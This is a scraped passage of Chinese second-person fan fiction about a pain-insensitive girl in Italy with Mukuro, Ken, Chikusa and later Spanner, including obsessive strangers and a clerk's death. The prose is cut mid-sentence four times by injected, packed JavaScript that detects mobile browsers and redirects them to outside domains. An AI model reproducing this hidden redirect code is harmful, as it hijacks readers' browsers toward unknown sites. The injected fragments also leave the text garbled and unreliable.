有人朝你走近,不轻不重的脚步声混杂着中年男人不甘心的嘶吼,有谁的脚后跟碾上了他恶臭的嘴巴,中年男人被迫发出凄惨痛苦的呜咽声,你毫无波澜地盯着面前凤梨头靛青色的脑袋,掌心传来温热的触感,你恍惚回神。 “小朋友,不用害怕,我们已经报警了。”西装革履的青年面带微笑,他稍稍低头,上挑的眉眼看上去分外凉薄。西装男人隐晦的视线扫过你全身,你不爽地瞪过去,却只得来一声微不可闻的轻笑。 六道骸把你挡在身后,他似笑非笑地看着那个男人。 “报警这种事我们自己也会做!!” 城岛犬警惕地盯着那个男人,他恶狠狠地龇牙,看在男人眼里,就像一只毛都没长齐的小兽,弱小可怜,却又自以为强大地能护住不属于他的珍宝。 西装男人也没想到,他会在这种地方发现宝物。 柿本千种冷静抓住你的手,浑身肌肉紧绷,柿本千种不动声色地观察西装男人,这家伙身上有一股他很不喜欢的气息。 心高气傲的西装男人并没有把除你以外的人放在眼里,嘴角勾起淡漠的弧度,极度冷静的目光像阴冷的毒蛇,西装男人不动声色盯住你,偏他表现出来又异常正常。 你盯着眼前似乎态度很和善的男人,你只觉得荒诞诡谲。 ——中年男人的惨烈哀嚎混杂着杂乱的殴打声,而西装男人笑容不变,阴湿恶心的视线如影随形,你快要恶心吐了。 没有看到自己想要的反应,西装男人也不生气,手机铃声响起,他意味不明地瞥了你一眼,而后不紧不慢走到旁边接起电话。 西装男人的视线始终落在你身上。 “哦呀哦呀,感觉有些不妙呢。” 在西装男人打电话的间隙,六道骸望向周围情绪异常亢奋的人,他微皱起眉。 “看来我们需要换个地方了。” “先远离这群人。”柿本千种推了推眼镜,他一脸平静地诉说自己内心真实的想法,“那个男人,很讨厌。” 他不是黑手党,但身上却有股让人厌恶的味道。 “该死,本大爷迟早要把他撕碎!” 你没有听懂意语,但你能读懂情绪。西装男人像看玩物一样的目光始终没有移开,你恶心地不想给他半分视线,西装男人给你一种白色怪物的肮脏感觉。你直白地把厌恶烦躁摆在脸上,牙齿下意识用力,你叼着唇齿间的软肉缓慢磨着,忽然,轻微的吸气声让你从自我情绪中回神。 你烦躁地掀起眼皮,正对上一双幽暗的异瞳。 “很快就好了。”优雅浪漫的意语缓慢从六道骸口中吐出,他不轻不重摸了下你尖尖的虎牙。看到你受惊瞪圆眼睛后,六道骸愉悦眯起眼睛。 “没有人能妨碍我们。” 天赋异禀的六道骸轻而易举就掌握了诡谲莫测的幻术,他本来不想使用幻术的,但现在看来,果然还是不行呢。 施展幻术,模糊篡改周围人的认知和五感,六道骸带着你们离开了这里。路过西装男人,尖锐冰冷的三叉戟划过他的皮肤,六道骸眯起眼睛。 这下,最后一个不稳定因素也消失了。 这是六道骸第二次施展幻术,比起上次,他又进步了些。有了幻术加持,这一路上,你们畅通无阻。 “那家伙身上有黑手党的气味。”城岛犬撇了撇嘴,“虽然很淡就是了,他肯定和黑手党有关联。” “我会搞清楚的。”六道骸垂下眼眸,他定定看向你们牵着的手。 kufufu…他不会放过任何一个黑手党…… 漫不经心走在路上,忽然,像是发现什么,六道骸站定在玻璃橱窗前。 城岛犬警惕凑上前,“又有什么动静了吗?” 六道骸笑容纯良,他指着透明橱窗内深绿色制服,“我们去看看这个。” “要买衣服啊,那进去吧。” 城岛犬和柿本千种没有异议,本来他们今天会出来就是为了给你添置新衣服,至于他们自己其实都无所谓,骸大人买什么,他们就买什么。 你看向挂在衣帽架上的帽子,你可有可无地点了点头,小凤梨还抓着你的手,你被拉着跨入童装店。 “小朋友是自己一个人来的吗?” 一进门,店员就注意到了你们,整理衣服的店员放下手中事务,店员看向你们空空如也的背后。 “小朋友,你们的爸爸妈妈没有跟你们来吗?” “是我们自己来的。”六道骸露出纯良的笑,长长的刘海遮住他的右眼,省略掉父母的内容,六道骸笑容温柔,“我们带了钱的呢。” “费那么多话干什么,快把那件衣服给本大爷拿下来。”城岛犬语气恶劣,指着骸大人刚刚看中的那件衣服,城岛犬不耐烦地开口。经历过刚才的事件,他很难对外面的人产生好感。 里面的人不是好东西,外面的人也没差。虽然他本身也没对这群家伙有过好感。 听到城岛犬的话,店员也没生气。 店员每天都会接待成百上千的客户,更恶劣更糟糕的客户只会比小少年更加气人,店员早就锻炼出了一颗强大的心脏。更何况,城岛犬看上去真的很像一只还在成长期的幼犬,店员很难对长相可爱帅气的小朋友生出恶感。 “犬,要有礼貌。”柿本千种不是会牵连无辜群众的人,他淡淡扫了眼店员,柿本千种不轻不重提醒了城岛犬一句。 “知道了知道了。”城岛犬继续不耐烦。 城岛犬的反应有点可爱,你歪头看向他,虽然不耐烦,但还是听话了呢。 “犬是乖狗狗。”你戳了戳他鼓鼓的脸蛋,城岛犬似乎还在生气,你敏锐察觉到了他的情绪,他在为你生气。 “哈?本大爷才不是什么乖狗狗!!”城岛犬立马炸毛,“咬死你啊!!” “嗯嗯,不是。”你敷衍点头,你又想养狗了。 “你这家伙,根本就是在敷衍我嘛!!” 柿本千种缓慢眨了下眼,平平无奇的语气莫名带着一股诡异的嘲讽,“犬,变聪明了。” “混蛋小柿,又想打架吗?” “不要,我讨厌流汗。” 六道骸习以为常你们的吵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14481587|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹,靛青色的眼瞳看向眼珠子都快粘在你身上的店员,六道骸的心情再次变得恶劣起来。 “我需要这件衣服。”六道骸冷冷开口。 你从六道骸背后冒出脑袋,店员一眼就看到了你。 如蛛丝般死死缠住人眼球的浓密乌发,搭配着你苍白如雪的面容,显得你那双灰蓝眼瞳更加攫人眼球,幽深的眸色宛若藏着无限引力的星球,店员的眼睛像是黏上了胶水,难以从你脸上移开半分。直到听到六道骸凉入骨髓的声音,后背一凉的店员才终于艰难想起自己的职责。 “啊,是衣服,对,是这件衣服吗?不好意思真的不好意思。”打工人的专业素养让店员艰难清醒,店员紧张地咽了咽口水,她不敢再看你。 “实在不好意思,这位小朋友实在太漂亮了,一不留神我就看呆了。”大脑一片空白的店员已经不知道自己在说什么了,她死死盯着能倒影出你面容的玻璃镜,“小朋友今天的消费可以免单哦,只要以后常来就好。” “只要你以后常来,你想要什么都可以。” 店员收敛着自己过分的视线,极力克制下,店员的笑容显出几分扭曲,你望过去,店员疯狂又痛苦地回避你的视线,店员只机械式地重复员工培训语录: “有什么需要请告诉我,我会帮助你的。” “有什么需要请告诉我,我会帮助你的。” “有什么需要请告诉我,我会帮助你的。” 阴冷的白光下,店员扭曲僵硬的脸愈发可怖,像极力融入人类的伪人,又像是商场里最劣质的塑料假人,嘴角笑容弧度莫名透出森森鬼气。 “换家店吧。”你拽了拽六道骸的手,你不喜欢这里的氛围。 捕捉到关键词,店员瞬间活了过来,她死命想要上前,却又在六道骸、城岛犬和柿本千种的目光下胆怯止住步伐。 三个少年牢牢护在你身前,店员稍有动静,金发小男孩便如同应激一般凶狠盯着店员,像条警惕的疯犬,城岛犬的喉咙里还发出警告的呜声。 柿本千种反应平淡,他不动声色攥紧你的手,一双冷静没有情绪波动的眼珠一动不动盯着店员,似有若无的杀气刺入店员脆弱的皮囊,后者打了个冷颤。 六道骸是表现最正常的一个,漂亮剔透的蓝宝石映照着店员害怕又渴望的病态神情,不经意露出的红色眼珠让店员惊恐后退。店员似乎看到了什么,脸上血色消失,变得惨白一片。 店员没敢再接近你,她艰难又快速地移开视线。分不清内心是恐惧还是爱恋,她只能眼睁睁目送你们离开。 …… 你好美 你好美好美好美好美好美好美 想要想要想要想要想要好想要 你的脸你的脏腑你的血肉你的心脏 哈哈哈哈哈哈哈哼哼哼哼忘不掉哈哈哈哈哈哈 …… 杀了你 不不不不不想要占有你想要你活着 漂亮?不,你不是一般的漂亮,语言形容你实在过于苍白。店员压抑内心的震颤和一丝道不明的破坏欲,那是不该存在于彼世的美貌,即便你现在还年幼,但店员完全能窥探出你未来更加糜艳动人的长相。 好想好想好想好想好想好想拥有你啊—— …… 店员辞职了。 13.第 13 章 渺小不起眼的死亡像掉入人海里一粒沙,虽然不起眼,但落入脚底板,又硌得人异常痛苦。 …… 明亮的视线蒙上一层阴影,六道骸伸手遮你的眼睛。骤然丧失视野,你不适地想要躲开,下一秒,六道骸上前一步抱住你,他抬手摁住你不安分的脑袋。 你先是嗅到了一股凤梨香,而后你的脸埋入凤梨温暖的小胸膛。 城岛犬没什么情绪地瞥了眼猩红的地面,烦躁地略过,他抬头看你,确认你没有发现这边的动静后,城岛犬随意编了个借口,“又有人不注意,重物掉下来了。” 柿本千种看了眼店员眼底最后的疯狂与兴奋,他无法理解地收回视线。 不珍惜自己,也不在意自己和他人的性命……柿本千种不喜欢怠慢生命的人。 “重物?”你眨了下眼,你在心底疑惑,重物是这种声音吗?为什么,你感觉是有人呢? “是重物。”柿本千种肯定了城岛犬的回答,现在人不多,暂时没有人发现这具尸体,柿本千种慢吞吞走在你旁边,六道骸不动声色把你带离现场。 “一个莫名其妙的重物,大概是工人不小心。” “我们换一家店。”六道骸望了眼周围的服装店铺,他需要找到一个高意志的店员。低头看你,视线落在你苍白的嘴唇,六道骸摸了下你毛茸茸的脑袋,“走吧。” 看来对幻术的练习还需要加强,六道骸可不希望以后出门,又让你遇上这样的事情。 你们离开了这里。 你跟着城岛犬、柿本千种和六道骸离开了这个糟糕的地方。你的口腔里还残留着六道骸指尖的温度,抓起他的手,你在上面发现了你几乎深入见骨的牙印。 没有痛觉,你对自己的身体愈发随意,实验模糊了你对力道的感知,你全然凭自己心意用力。 “嘶,好疼!”轻微的呼痛声吸引了你的注意,顺着声音的方向望过去,你看到了不小心被台阶绊倒的普通人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502512|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刺目的伤口让你无意识驻足,你看她害怕不敢触碰自己伤口的模样,她的嘴里还时不时发出疼痛的吸气声,你恍惚想到了过去的自己。 …… 现在,你的身体再不会为你发出警报,尽管有着上一世正常人生活时的模糊经验,但更多时候,你已经分辨不清该如何成为一个正常人。 “怎么了?”六道骸顺着你的目光看过去,注意到那个女孩,他眸光微动。 你很快移开视线,对上六道骸若有所思的表情,你摇了摇头,“没什么。” 你只是稍微有点怀念从前的自己,你无法说失去痛觉是一件幻觉,如果带着痛觉进行实验,你绝对会彻底疯在前期。你从来不是忍耐性很好的人,而合租人加深了你对忍耐的厌恶。 你不喜欢忍耐与疼痛。 你看着表面祥和安稳的意大利,你握紧六道骸的手,“我要让所有人都忍耐我。” 你要让这个该死的世界为你让步! 14.第 14 章 这算是六道骸第一次真真正正直面你的影响。用幻术模糊了你们四个人的存在,六道骸搜索了一圈,最终,他将目光定格在一位身价不菲的年轻人身上。 六道骸最擅察言观色,确认了年轻人和他们目的一样后。牵着你的手,六道骸扫过人群渐渐变多的街道,没怎么犹豫,六道骸选择跟上年轻人。 幻术模糊着年轻人的感官,六道骸带着你们自然走入那间一看就很高端的奢侈服装店。这一次,在幻术的作用下,你没有再看到那些恶心黏腻的垃圾目光。 “有喜欢的吗?” 漂亮的蓝眼睛望向你,你听到六道骸的问话,抬眼看向这里的服装,你反应平平地移开目光。你难以提起兴致,那声古怪的重响总会时不时出现在你脑海里。 重物……吗? 你不想再思考。 店员注意到了你们的动静,发现你反应平淡后,店员态度自然地上前,“需要看一下本店新品吗?” 大家都在等待你的回答,你可有可无地点了点头。 店员短暂离开片刻后又很快出现,她向你们展示了这件裙子。 黑色制服样式的衬裙搭配着小领带,腰间垂垂挂着一条白色皮带,丝滑的布料泛着光泽,摸上去异常舒适。是很亲肤的布料。 店内衣服不得随意试穿,除非消费累计到一定数额。但不知为何,店员看到你就心生喜爱,注意到你表现出了一丝对衬裙的在意,店员忍不住想,怎么会有人忍心拒绝你呢。 店员略带热切地将裙子递到你面前,“喜欢的话,可以试穿一下。” 你思考了会,你也确实需要换一件新衣服,你拿过了店员手中的裙子,走进衣帽间,拒绝了店员想要帮忙的请求,你直接锁上了衣柜门。 你略有些生疏地拿起裙子,一一解开裙前的扣子,你很快穿好了裙子。小领带绕在胸前,你试着打了几个结,但始终没能满意,内心愈发的烦躁,你干脆扯开被你打得乱七八糟的小领带,你转而拿起一旁的金属饰品。 风格迥异的金属项链搭配着乖巧的制服,莫名给人一股异于世俗的感觉。最后戴好白色皮带,你打开衣柜门走了出去。 “春也,很好看。”清冷的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534114|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一如既往的平静,柿本千种面无表情地夸赞你。 城岛犬的反应则比柿本千种热烈多了,脸上诡异红起一大片,城岛犬先是移开视线,没一秒,他又恶狠狠地盯着你,城岛犬言不由衷, “也就一般般吧。” “犬,好没有眼光。”柿本千种才不管城岛犬究竟怎么想的,听到城岛犬的发言,柿本千种继续夸赞你,“喜欢。” 六道骸幽深着目光,只是穿了件勉强入眼的衣服,你的存在便叫人更加移不开眼。 “喜欢吗?”六道骸询问着你的意见,上前一步隔开店员想要帮你的动作,六道骸伸手替你整理好凌乱的衣领,熟练地替你打好领带,六道骸语气淡淡,“喜欢的话,就买下来。” 你点了点头,没有想要继续试衣服的想法。 六道骸他们选衣服也很快,这三个人完全是拿了和你同款的三件套装,六道骸爽快付完钱就带着你们离开了这。 你也不知道刚从实验室里出现,六道骸哪来的钱,你也不在意,你的脑海里还回响着那道声音,等你再次回神,你发现你和六道骸他们分开了。 15.第 15 章·修 你被注意很久了。 异常美貌的、独自一人走在毫无保护设施街道的漂亮女孩,隔着似假非真的幻术,你的存在像潮湿黏稠的海带丝,丝丝缕缕缠绕着人的欲望。 疲惫的社畜、热情的学生、狡诈的商人、掌权的政客……无数幽暗窥视的目光倾注在你身上,爱意渴望嫉妒占有……无数负面情绪交织成人们内心最原始的欲望。 ——想要被你发现,想要被你注视,想要被你记住。 那些肮脏的、下作的、恶心的视线,如被无数人共同嚼过的口香糖,拔丝般狠狠黏在你身上。他们等待着你发现,他们期待着你发现。 恶心……. 恶心恶心恶心恶心恶心恶心恶心恶心恶心恶心恶心恶心恶心恶心恶心 你如前世般守纪律地走在街道旁,渐渐的,来往的车辆不知从何时停下声响,你的脚步开始加快,幻术的作用缓慢消减,你却一无所知,你只是忍耐着、忍耐着想要杀人的欲望,你企图躲过人群。 滚滚滚滚滚滚滚滚滚滚滚滚滚滚滚—— 全都给你滚远点啊!! 贱人贱人贱人!!!全都是一群贱人!!! 肮脏的臭老鼠,过期的发霉面包,坏掉的烂西瓜,恶臭腐烂的气息如细小的尘埃黏着在呼吸间的空气里,无时无刻不在刺激你敏感的神经。 死死死死死死死死死都去死去死去死去死去死去死去死死死死死死啊啊啊啊啊—— …… 你神经质咬着手指,额头青筋不断跳动着,刺目艳红的血珠一滴一滴从指尖滴落,诡谲的红在你嘴角蔓延出一道旖丽的纹路,风紧咬着你乌黑浓稠的发丝,远远看去,好似一团扭曲的不可名状。 你无法忽视人们的视线。 低劣的、恶心的、肮脏的丑陋欲望,他们怎么敢、怎么敢用那种目光看你?!! 浑浊不堪的眼珠浸透着你最恶心的情绪,你厌恶地移开视线。 “小妹妹是一个人找不到回家的路了吗?” “真可怜呢,叔叔来带你回家。” “哥哥们可不是什么坏人啊。” …… “让我来帮助你吧。” “让我来帮助你吧。” “让我来帮助你吧!” “让我来来来帮帮帮助你你你你你吧吧吧吧吧!!” “嘻嘻嘻嘻嘻嘻让我来帮助你啊,让我来帮帮帮助可怜的柔弱的美好的恶劣的你吧哈哈哈哈哈” …… 你抬头,混合着咚咚咚响地重物掉落声,一张张扭曲的人脸挂着弧度相同的假笑,他们整齐划一地看向你,僵硬的脖子在扭动间发出“嘎达嘎哒”的可怖声响,空洞的眼睛如鬼魅死死缠住你。 怪物。你咒骂道。 神经质地疯笑,好半晌你才自我克制了喷涌般的恶念和破坏欲,你情绪糟糕地拍开他们试图上前的手,冰冷的薄唇毫无留情地吐出恶劣的字眼。 “滚开,臭虫们!” 意大利语难学,但你很有语言天赋,学会的第一句长句就是用意大利语骂人。 …… 讨厌被注视,讨厌被搭话,讨厌被围观……你讨厌一切活着的生物聚集在你身边,加重的呼吸、恶心的喘气、烦人的心跳……你恨恨地踹倒不断阻止你前进的臭虫垃圾们。 你凭什么要为这群臭虫的死亡感到自责?这就是个该死的、欠死的世界,欠死的臭虫,欠死的■■ ! 敏感的神经在崩溃边缘,有人穿过人群直直抓住了你的手,等你反应过来,你已经被人带着一口气窜出二里地了。 “好险,差点以为会失败呢。”来人说着一口流利的意大利语,确认附近没有多余杂乱的人,看上去和你差不多大的金发男孩终于出声。 你微微喘着气,他的手还拉着你,温热的指腹贴着你的脉搏,过快的心跳吵得你的鼓膜也开始隐隐作响。 稍微平复了下过快的心跳,你顺着细白修长的手指看过去。剧烈跑动过后,男孩的金发凌乱地翘起,左边刘海的小卷卷格外明显,注意到你的视线,金发男孩立马收回手。 “啊,不好意思。” 如果忽略金发男孩脸颊处小小的红晕,从头至尾,金发男孩的情绪都很稳定。 你辨别意大利语还是有些吃力,金发男孩注意到你一直没有说话,他上前一步凑近你观察,“吓到了吗?” 但很快,透过你迷茫的眼神和特别的容貌,金发男孩立刻明白了什么,“听不懂意大利语啊,那英语或者日语呢?” 金发男孩流畅地切换自己的语言系统,目前他所会的语言暂时也就这三种。察觉到你对英日语的反应,金发男孩选择英日混合。 你被金发男孩突然贴近的动作吓了一跳,下意识后退,你没有注意脚边的障碍。眼见你踩上障碍即将摔倒,金发男孩反应迅速地拉住你。但他低估了自己的身体力量,金发男孩被迫和你一起倒下。 “嘶,有点痛。”嘴里发出弱弱的吸气声,伸手护住你脑袋的金发男孩低头看了眼安然无恙的你,他表情温和,“还好你没事。” 你有点懵。 从刚刚金发男孩带你跑走,又到他现在抱着你一起摔倒,事情发生得太快了,你的大脑还没反应过来,等到你回神,金发男孩已经自然用日语和英文交替着和你对话了。 “差点忘了还没自我介绍。”金发男孩拉着你起身,他姿态随意地靠着墙,目光落在手上的擦伤,金发男孩一边从宽大的工装服口袋里拿出超大创口贴,一边向你介绍着他的名字,“我是斯帕纳。” 简单用碘酒消了毒,斯帕纳疼得闭起一只眼睛,干脆贴上最后的创口贴,斯帕纳终于抬头看向你。 斯帕纳说话的语速并不快,照顾着你语言不通,他刻意放缓了自己说话的语速。 大脑努力处理这段文字信息,你后知后觉意识到斯帕纳是在等待你的回答。 犹豫了下,你缓慢开口,“今春也。” “春也。”斯帕纳轻声念了一遍,终于知道你的名字,小小的红晕又一次悄悄爬上他的脸颊,斯帕纳的眼睛亮亮的,“很好听的名字。” 斯帕纳早就注意到你了。 没有人能忽略你的存在。模糊的幻影、朦胧的香气,便是有幻术替你伪装,■■的祝福也会让人无意识注视你。更何况,幻术并不能永远遮盖住你真实的美貌。 斯帕纳比任何人都先发现你。 很平淡的一天,他和往常一样去常光顾的店内买些新的机械设备,慢悠悠走在路上,斯帕纳的嘴里还叼着一个棒棒糖,脚步一拐,正准备跨入另一条街道口时,斯帕纳忽然止住步伐。 敏感的鼻子嗅到一阵特别的气味,斯帕纳下意识寻找气味来源,偏过头,你恰好和他擦肩而过。浓密乌黑的发丝掠过他的眼睛,斯帕纳本能地闭眼,你尾梢的发丝似有若无蹭过他,再度睁眼,斯帕纳发现你已经走远。 你完全没有注意到他。 伫足原地,斯帕纳咬着糖,呆萌的表情显出几分专注,他短暂思考了会,斯帕纳选择跟在你身后。 自小就对精细的机器人感兴趣,斯帕纳有着超脱常人的敏锐、分析能力和动态视力,他轻而易举就觉察到路人对你过分的在意。起初,斯帕纳并没有在意路人对你的态度,直到第一个人打破你们之间诡异的氛围,而后,一个两个路人接二连三地将你包围。 斯帕纳轻微皱眉,他扭头看向周围,斯帕纳试图找些有用的工具,空空如也的环境让他束手无策,斯帕纳再次望向你,恰好看到你生气的一幕。 你蓬勃爆炸的情绪瞬间吸引了斯帕纳全部的注意力,斯帕纳失神片刻,你骂人踹人的模样简直太酷了,他喜欢你饱满爆炸的情绪。回过神的斯帕纳眼睛亮晶晶的,脸颊晕染着小小的红晕,斯帕纳观察了下你的包围圈。 像一只正大光明偷油的小老鼠,斯帕纳嗖的一下钻入包围圈的薄弱点,抓住你手腕的一瞬间,斯帕纳发现你比他想象的还要瘦弱。趁所有人都没反应过来,斯帕纳小老鼠带着自己的小宝藏跑远了。 现在,斯帕纳正式站在你面前,你的眼里终于留下了他的痕迹,斯帕纳莫名有些开心。 交换了姓名,你们就是朋友了。 你盯着斯帕纳,他的反应看上去很正常。尽管对方表情很淡,但那双亮晶晶的眼睛很好地把他的心情传递给了你。 此刻,斯帕纳站在你面前,对着光,阳光亲吻着他灿烂的金发,略微下垂的眼尾给人一种天然无辜的感觉,斯帕纳抬眼看你,你莫名幻视一只向你撒娇的小狗。 脑内烦人的闷响间歇性地吵你,你厌烦地掀起眼皮,想要离开的步伐再次被拦住,你忽然生了厌倦。 无机质的目光落在斯帕纳身上,你慢吞吞朝着斯帕纳迈步。抬脚踹向他身后的墙,你语气恶劣,“再不走,我连你一块揍。” 你快要没办法冷静理智地思考,恶劣的心情像腐烂生蛆的苹果,你想要把所有人都变成坏苹果,然后碾碎戳爆。 斯帕纳并不在意你忽然恶劣的情绪,他不自然地偏过脑袋,耀眼的金发散发着太阳的温暖气息,斯帕纳咬碎嘴里的糖果冷静一下过载的大脑,他认真提醒道:“春也的裙子,注意一下。” 你低头,柔韧性太好,你踹得过高,散开的白色裙摆像海边的白色浪花,一圈一圈荡漾着风的踪迹。收起威胁的动作,对待带你跑出臭虫们包围圈的小狗,你忽然眨了下眼。 恶劣地凑近他,你捏过他的下巴,强迫斯帕纳扭头看你,你诡异专注地盯着他,“现在,看着我。” 命令式的口吻让无辜小狗露出茫然的眼神,直视你,斯帕纳的大脑又开始过载了。嘴里下意识想要咬些什么,但很快,斯帕纳意识到,他的糖刚刚咬碎,口腔里还残留着微弱的甜意,斯帕纳缓慢眨了下眼。 “你在想什么?” 鬼魅般的气息迷惑着斯帕纳的理智,大脑在向他疯狂发出警报,斯帕纳罕见地没有离开。他对你很好奇。 “我想带你去一家店。”斯帕纳诚实说出了自己的想法,“是一家我常去的机器人店铺,里面有各种各样的机械设施。” “机器人?”你突兀地想起,过去你总在期待星际里的家政全能保姆型机器人出现,你看向眼前比你高上一些的斯帕纳,你忽然开口,“你很喜欢机器人吗?” “不止,我对机械类的存在都很感兴趣。” 现在还要再加上一个你。 “未来,我绝对会创造一个让大家震惊的机器人!” 斯帕纳一直都很相信自己,他望向你,斯帕纳弯了下嘴角,“要和我一起吗?” 你分不清他说的是想让你和他一起去那家店,还是想要你见证他的未来,如果斯帕纳创造的不是你想要的机器人,你才不想在意他的想法。 古怪的闷响声似乎远离了你,心情稍微转好,你看着斯帕纳期待的目光,你点了点头。正好,你也可以观察一下异世界的生活水平和科技发展。 斯帕纳带你来到他常去的店内。 “是斯帕纳啊,上次你想要的小零件我都给你补货了。”店员是一个穿着工装裤的胖大叔,看到熟客,店员朝斯帕纳打着招呼,视线落在斯帕纳藏在身后的女孩,只看到几缕发丝的店员露出然于心的笑容,“斯帕纳也知道交朋友了啊。” “嗯。”斯帕纳情绪平稳地应声,但从他眼里的亮光可以看出,斯帕纳很认可你们之间的朋友关系。 你抬头就望进了斯帕纳的眼睛,小小的瞳仁只有红豆大小,搭配着下垂的大眼睛,看上去无辜又可爱,更别提他那头跑动间、异常凌乱的发丝。翘起的发尾一卷一卷,斯帕纳的可爱度持续上升。 你暴躁的心情在斯帕纳的可爱度爆棚下,缓解不少。脑内一直死死缠绕着你不放的闷响声也不知何时消失,你总算拥有了一片清净。 更何况,斯帕纳是除六道骸、城岛犬、柿本千种以外,对待你最正常的人。 你打量了下不算整洁的店铺,除了你们两个,店内再没有其他人,尽管如此,店员依旧很忙,你注意到店员只在最开始和斯帕纳打了个招呼,剩下的时间他全埋头沉浸在机械面板的搭建上。 集中注意力做一件事,店员完全忽略了你的存在。没有烦人的视线,你久违感到了一丝放松。 斯帕纳显然对这里很熟悉,不放心地拉着你的手,斯帕纳很快就找到自己最需要的东西,你还没等多久,斯帕纳就已经结账走人了。 “这就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14545448|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了吗?” “嗯。”斯帕纳宝贝地拎起袋子看了眼,听到你的话,他扭头看你。自然带你避开人多的地方,斯帕纳声线平稳,“主要大件都在家里,如果你想的话,我可以带你看看我以往制作的小机器人。” “当然,如果你对机器人的制作步骤感兴趣,我也可以做给你看。” 斯帕纳很乐意给你分享他的爱好。 “如果还能再次遇到……”你松开斯帕纳的手,趁着天色还未完全暗下来,你准备离开这里,忽然,你转身,漂亮的白色裙摆在半空中划过一道优美的弧度,对着还呆萌愣在原地的斯帕纳笑了下,你心情愉悦地朝他挥了挥手,“那么,带我去看看你亲手制作的机器人吧。” “我也很期待,未来的那个能让所有人都大惊失色的机器人。” 斯帕纳怔怔站在原地,他下意识往前跑了两步,随即觉察到什么,他又止住脚步。 “咚、咚、咚。” 今天的风好吵,吵得斯帕纳都快要听不清自己的心跳声,捏紧手里的袋里,斯帕纳忽然希望现在就能有一个时光机带他去往未来。 他好想知道,未来的你,也会像现在这样笑着站在他身边吗? 和斯帕纳分别后,你拿出在机械店内发现的口罩戴上。没有刻意去走人多的地方,你慢悠悠走在城市的一角。默默降低自己的存在感,你第一个认认真真观察着这个陌生的世界。 异世界的意大利黑手党盛行。一些店铺还正常贩卖着前世在你世界禁止的物品和武器,你简单观察了下,这些武器都很正常,和实验室里的特殊武器完全不一样。 两个世界相似又不同,你并不清楚这是什么时代,但异世界的科技显然还没发展起来,朴素的环境恍惚让你以为这是某个世纪的古早欧洲。 和你想象的不同,异世界的治安并没有差劲到人人自危的地步,起码你没有在大街上看到为非作歹的黑手党。想起黑手党,你厌恶地敛下眸子。家乡的扫黑除恶横幅还张贴在你看得到的地方,但转瞬,像是来到了镜面反转世界,你只觉得荒谬。 黑手党的下限远远超乎你的认知。生活在和平年代,你见过最可怕最血腥最惨烈的事情也不过是杀猪,但黑手党不一样,他们不光会杀猪,还会杀人。 逃出实验室后,六道骸他们就和你坦诚,他们也曾是黑手党家族的一员,不过为了私欲,卑劣的黑手党们连自己家族的孩子都不曾放过。 而现在,艾斯托拉涅欧家族已经彻底湮灭在时间的长河里了。 ——除了残活的幼童,所有涉事成年人全都被他们杀了个干净。 你和他们不一样,不,应该说,你和这里的所有人都不一样,你既不是黑手党家族的孩子,也不是被拐卖来的可怜稚童。 你单纯只是一个幸运值为负的倒霉蛋。 ——瓶盖总是谢谢惠顾、中奖永远都是安慰奖、就连抽卡你也都是保底的命,最后合租人更是给了你倒霉生活最后一刀。 …… 你无法解释你是怎么来到异世界的,不过六道骸他们似乎自动补全了你的身世。 清浅的呼吸落在口罩里,你走在陌生的街道,来来往往的人穿着他们国家习以为常的搭配,你无法从异世之人的身上找到你熟悉的影子。 陌生的语言灌入耳朵,明明是你前段时间刚学习的句子,你却没有丝毫熟悉的感觉。你只觉得眼前的一切如此荒诞又陌生。 穿越成为既定事实,你忽然觉得好笑,如果现代社会知道了你的实际,那么无数数学和物理理论都将推翻。 ——哈,这下大家又有新的东西可以学习了。 从不着边际的思绪中抽离,你重新看向姿态闲适的路人。 ——等等,这里面是不是混入了一个奇奇怪怪的小婴儿? 在你移开目光后,敏锐的视线落在你身上,停顿三秒,那道目光又不动声色地挪开。 等你再想看清小婴儿的真实面目时,人潮早已抹消他的踪迹,你也不执着,随意移开目光,你继续自己的观察。 正常的人类轻松自在地走在路上,你的记忆里模模糊糊也有过这样的场景, 